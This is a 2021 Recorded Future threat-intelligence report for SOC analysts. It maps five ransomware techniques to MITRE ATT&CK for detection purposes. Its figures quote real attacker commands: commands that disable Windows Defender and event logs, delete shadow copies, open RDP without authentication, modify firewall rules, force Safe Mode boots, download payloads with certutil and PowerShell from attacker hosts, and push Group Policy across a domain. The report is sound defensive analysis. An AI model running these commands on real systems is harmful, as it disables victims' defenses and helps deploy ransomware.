CYBER
THREAT
ANALYSIS

Recorded Future®

By Insikt Group®

December 16, 2021

5 Common Ransomware ATT&CK Techniques

Insikt Group determined MITRE ATT&CK TTPs used by ransomware. The intended audiences for this report are SOC analysts and those interested in threat hunting.

Executive Summary

Ransomware continues to evade detection and infect enterprise networks of every industry. Defenders need to continually mature their dynamic detections, such as Sigma rules, to detect and stop a ransomware attack. Insikt Group analyzed common techniques used by ransomware operators, mapped them to the MITRE ATT&CK framework, and developed 5 Sigma rules to detect these techniques, which are available to Recorded Future clients.

The ATT&CK techniques highlighted in this research align with Insikt Group's 2020 Top MITRE ATT&CK Techniques report, where the Defense Evasion tactic was the most commonly seen tactic in 2020.

The 5 ransomware techniques detailed in this report are as follows:

- 3 techniques from the Defense Evasion tactic: Disable or Modify Tools, Disable or Modify System Firewall, and Pre-OS Boot
- 1 technique from the Command and Control tactic: Ingress Tool Transfer
- 1 technique from the Privilege Escalation tactic: Group Policy Modification

Key Judgments

- Ransomware operators continue to focus on developing techniques to evade defenses, aligning with Insikt Group's 2020 Top MITRE ATT&CK Techniques report.
- Sigma rules focused on particular TTPs used by threat actors can detect malicious behavior before the deployment of ransomware in many cases.
- Sigma rules aligned with MITRE ATT&CK can help organizations define mitigations based on specific threat actor TTPs.

Background

The MITRE ATT&CK framework is a comprehensive matrix used to display the life cycle of a cyberattack. The framework is divided into 14 high-level tactics, with each tactic including several techniques. High-level techniques are also divided further into sub-techniques when several distinct technical ways to accomplish them exist. For example, Initial Access (tactic) can be gained through Phishing (technique), and a particular type of phishing is through Spearphishing Attachment (sub-technique). Mapping multiple threat actors or malware families to the framework can highlight trends in threat actor activity and help defenders focus their detection efforts.

Static file detections, such as YARA rules, have been used by defenders for many years. However, static detections fall short in instances where attackers apply obfuscation and encryption to hide malware residing on disk. Sigma, a generic detection rule system that can be converted into many different SIEM formats, helps fill this gap by using a behavioral-based approach, allowing defenders to create detections for log events on the monitored system. Sigma rules are often designed to monitor for unique commands run by malware to trigger an alert.

Threat Analysis

Insikt Group evaluated the current ransomware landscape by reviewing recent high-profile attacks and most commonly seen families to identify techniques used by ransomware threat actors. Each technique was aligned to a MITRE ATT&CK identifier and analyzed to develop a Sigma rule. The ransomware families used to determine how the ATT&CK technique could be detected with Sigma rules are REvil/Sodinokibi, LockBit 2.0, RansomEXX, Ryuk, Prometheus, BlackMatter, DarkSide, and ProLock.

T1562.001 — Impair Defenses: Disable or Modify Tools

Description

Impair Defenses: Disable or Modify Tools is focused on the techniques threat actors employ to obscure detection of malicious behavior, including modifying security settings on the host operating system, disabling or killing security tools, changing log settings, and modifying registry keys. This technique is included under the Defense Evasion (TA0005) tactic.

Malware Using T1562.001

Ransomware will often disable or modify tools to make it more difficult for defenders to detect malicious behavior or mitigate the effects of an attack. Insikt Group identified several examples of T1562.001 being used in the wild by ransomware groups, particularly by REvil, RansomEXX, and Ryuk.

According to researchers at Picus Security, REvil used PowerShell during the well-publicized Kaseya incident to change security settings on the victim system, including disabling the Real-Time Protection feature of Windows Defender. The full command can be seen in Figure 1, with the portions applicable to T1562.001 bolded.

According to Cybereason, RansomEXX executes in memory and does not drop artifacts to disk, making it more difficult to detect using file artifacts alone. RansomEXX disabled Security event logs using the wevtutil in Figure 2. They also used wevtutil to clear several event logs, including Setup, System, Application, and Security.

```
"C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979
> nul & C:\Windows\System32\WindowsPowerShell\v1.0\
powershell.exe Set-MpPreference -DisableRealtimeMonitoring
$true -DisableIntrusionPreventionSystem $true
-DisableIOAVProtection $true -DisableScriptScanning
$true -EnableControlledFolderAccess Disabled
-EnableNetworkProtection AuditMode -Force -MAPSReporting
Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\
Windows\System32\certutil.exe C:\Windows\cert.exe & echo
%RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe
-decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f
c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.
exe
```

Figure 1: Command used during the Kaseya incident by REvil to disable security tools, including parts of Windows Defender, among other actions (Source: Picus Security)

Sodinokibi, the Windows ransomware created by REvil executes a command to delete shadow copies and disable startup repair, as seen in a sample analyzed by Insikt Group, shown in Figure 3. This same technique was previously used by Ryuk, Avaddon and FONIX ransomware.

```
"C:\Windows\System32\wevtutil.exe" sl Security /e:false
```

Figure 2: Wevtutil command used to disable Security log (Source: Cybereason)

T1562.004 — Impair Defenses: Disable or Modify System Firewall

Description

A common goal among ransomware operators is to spread the ransomware to every reachable system on the network. Most enterprises configure systems on their network to limit the allowable interactions among endpoints, which forces threat actors to integrate techniques into their ransomware and reconnaissance tools to disable or modify these defenses. These restrictions often reside in the firewall rules and are accounted for by the Impair Defenses: Disable or Modify System Firewall technique, which falls under the Defense Evasion (TA0005) tactic. This technique is employed before techniques under the Discovery (TA0007) and Lateral Movement (TA0008) tactics such as Remote System Discovery (T1018) and Remote Services: Remote Desktop Protocol (T1021.001).

Malware Using T1562.004

A common tool used to modify the Windows Firewall is the native command-line tool netsh.exe. Attackers with escalated privileges can use this tool to modify the firewall to perform tasks such as making a system discoverable or enabling Remote Desktop Protocol (RDP). This technique often occurs during the lateral movement phase of an attack, before the threat actor deploys ransomware. Ransomware families using this technique include ProLock, REvil, and Prometheus.

```
if ((ushort)uVar1 < 0x502) {
  do_string_deobf_z(KVAL1,0x41,0xb,0xe,cmd.exe);
                    /* /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default}
                       recoveryenabled No & bcdedit /set {default} bootstatuspolicy
                       ignoreallfailures */
  do_string_deobf_z(KVAL1,0x8b7,7,0x124,vssadmin_cmd);
```

Figure 3: Sodinokibi sample command to disable startup repair (Source: Recorded Future)

ProLock uses a script named rdp.bat to enable the RDP and allow remote desktop connections. The following are the steps performed by the script:

1. Enable Remote Desktop connections by setting fDenyConnections to 0.
2. Start Microsoft Protection Service.
3. Set a rule in the Windows firewall to allow RDP connections.
4. Modify the RDP-Tcp registry key UserAuthentication value to allow users to connect without authentication.

```
reg add “HKLM\System\CurrentControlSet\Control\Terminal Server” /v “fDenyTsConnections” /t RED_DWORD /d 0 /f

net start MpsSvc

netsh advfirewall firewall set rule rule group=”Remote Desktop” new enable=yes

reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v “UserAuthentication” /t REG_DWORD /d 0 /f
```

Figure 4: Batch script used by ProLock operators to enable RDP on targeted hosts (Source: Intrinsec)

Another example is how REvil modified the firewall in the well-publicized Kaseya incident. In this instance, the threat actors modified the firewall to enable “Network Discovery”, which allows an endpoint to be discoverable on the network. This technique is also used by Prometheus ransomware, a newer version of Thanos ransomware.

```
netsh.exe advfirewall firewall set rule group=”Network Discovery” new enable=Yes
```

Figure 5: REvil sample enabling network discovery on the infected system (Source: Recorded Future)

T1542 — Pre-OS Boot

Description

Pre-OS Boot mechanisms allow adversaries to abuse firmware and various startup services loaded before the operating system. These programs control the flow of execution and can be used to establish persistence before the operating system takes control. Additionally, software-based defenses such as antivirus programs do not run at this level, allowing malware to go undetected.

Malware Using T1542

In March 2021, new samples of REvil surfaced with the capability to encrypt files on the victim machine in WIndows Safe Mode, a startup mode in which users can run administrative and diagnostic tasks on the operating system. The feature is most likely meant to help the ransomware avoid detection by security software during the encryption process. With this feature, REvil operators can use the command line argument “-smode”, which will use bootcfg and bcdedit commands to force the victim machine to reboot in Safe Mode with Networking the next time Windows restarts, as seen in Figure 6:

```
bootcfg /raw /a /safeboot:network /id 1
bcdedit /set {current} safeboot network
```

Figure 6: Commands used by REvil to reboot the victim machine in Windows Safe Mode with Networking (Source: Bleeping Computer)

Samples of BlackMatter ransomware that surfaced in August have an almost identical feature; using the “-safe” command line option causes the ransomware to execute the same bcdedit command seen in Figure 6 to restart Windows in Safe mode with Networking.

T1105 — Ingress Tool Transfer

Description

Ingress Tool Transfer is focused on the transfer of a tool or utility to a victim network. Many protocols may be used to copy the tools, including FTP or rsync. Ransomware operators use this technique to download follow-on malware after an initial foothold has been established on a target system. This technique also encompasses the need for ransomware operators to reach back out to their command and control to download the malware after discovering other target systems and moving laterally in a network. This technique falls under the Command and Control tactic (TA0011).

Malware Using T1105

In June 2021, Insikt Group identified tools used by a REvil affiliate that took advantage of the Microsoft utility certutil, a command-line tool that can be used to dump or display certification authority (CA) configuration information, among other configuration utilities, to download malicious software to a victim system. In this incident, the threat actor used the commands in Figure 7:

```
certutil.exe -urlcache -split -f http://inlinecms[.]com/ntdsutils.dll

certutil.exe -urlcache -split -f http://inlinecms[.]com/sharp.txt C:\inetpub\wwwroot\aspnet_client\errors.aspx
```

Figure 7: Commands used by REvil affiliate to download malicious tools to victim system (Source: Recorded Future)

Similarly, DarkSide ransomware has used certutil (along with PowerShell) to download and execute the ransomware, as shown in Figure 8:

```
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://NakedIP/payload.exe','C:\Users\Public\update.exe')"

certutil.exe -urlcache -split -f http://NakedIP/payload.exe C:\Temp\update.exe
```

Figure 8: Commands used by Darkside ransomware to download and execute the ransomware (Source: Scythe.io)

T1484.001 — Domain Policy Modification: Group Policy Modification

Description

Group Policy is a system used within Microsoft Active Directory (AD) environments to provide centralized management of operating systems, applications, and user settings. Group Policy Objects (GPOs) contain these configurations. GPOs are stored on Domain Controllers and are generally readable but not writeable by all users. Some examples of GPOs include mandating password policies, restricting the use of Windows features such as the Control Panel or Command Prompt, or running logon or logoff scripts.

The powerful and centralized nature of Group Policy makes it an attractive tool for attackers once they have a sufficient level of privilege within an AD environment. It has been used both to spread payloads, including ransomware, and to impair defenses by disabling security software across the environment.

Malware Using T1484.001

Some financially motivated threat actor groups have abused Group Policy to impair defenses or spread payloads. Operators of the Egregor ransomware have been reported to use Group Policy to disable Windows Defender and other security products within a victim environment, and Ryuk operators have reportedly distributed the ransomware payload through creating a scheduled task via a GPO. A publicly available Sigma rule detecting this technique checks for data being written to a "ScheduledTasks.xml" file on the SYSVOL network share, where GPOs are stored.

More recently, in July 2021, LockBit 2.0 ransomware was reported to have automated this process when run on a Domain Controller, using Group Policy both to disable security products and to execute the encrypting payload via a scheduled task.

The malware creates a GPO, which includes the settings shown in Figure 9 to disable security products:

```
[Software\Policies\Microsoft\Windows Defender;DisableAntiSpyware]
[Software\Policies\Microsoft\Windows Defender\Real-Time Protection;DisableRealtimeMonitoring]
[Software\Policies\Microsoft\Windows Defender\Spynet;SubmitSamplesConsent]
[Software\Policies\Microsoft\Windows Defender\Threats;Threats_ThreatSeverityDefaultAction]
[Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction]
[Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction]
[Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction]
[Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction]
[Software\Policies\Microsoft\Windows Defender\UX Configuration;Notification_Suppress]
```

Figure 9: GPO settings to disable Windows Defender, used in Lockbit 2.0 (Source: Bleeping Computer)

The GPO also includes the creation of a scheduled task to execute the encrypting payload. The malware contains the following command that pushes this GPO across the environment:

```
powershell.exe -Command "Get-ADComputer -filter * -Searchbase '%s' | foreach{ Invoke-GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}"
```

Figure 10: Commands used in Lockbit 2.0 malware to force Group Policy updates (Source: Bleeping Computer)

This command first searches for all computers within an AD environment. The -Searchbase parameter specifies the Active Directory path to search; the command above includes the %s string placeholder, which is populated with the local environment details when the malware runs the command. The second half of the command invokes the group policy update across all the identified systems without asking for user confirmation (due to the -force option) and with no delay.

About Recorded Future

Recorded Future is the world's largest provider of intelligence for enterprise security. By combining persistent and pervasive automated data collection and analytics with human analysis, Recorded Future delivers intelligence that is timely, accurate, and actionable. In a world of ever-increasing chaos and uncertainty, Recorded Future empowers organizations with the visibility they need to identify and detect threats faster; take proactive action to disrupt adversaries; and protect their people, systems, and assets, so business can be conducted with confidence. Recorded Future is trusted by more than 1,000 businesses and government organizations around the world.

Learn more at recordedfuture.com and follow us on Twitter at @RecordedFuture.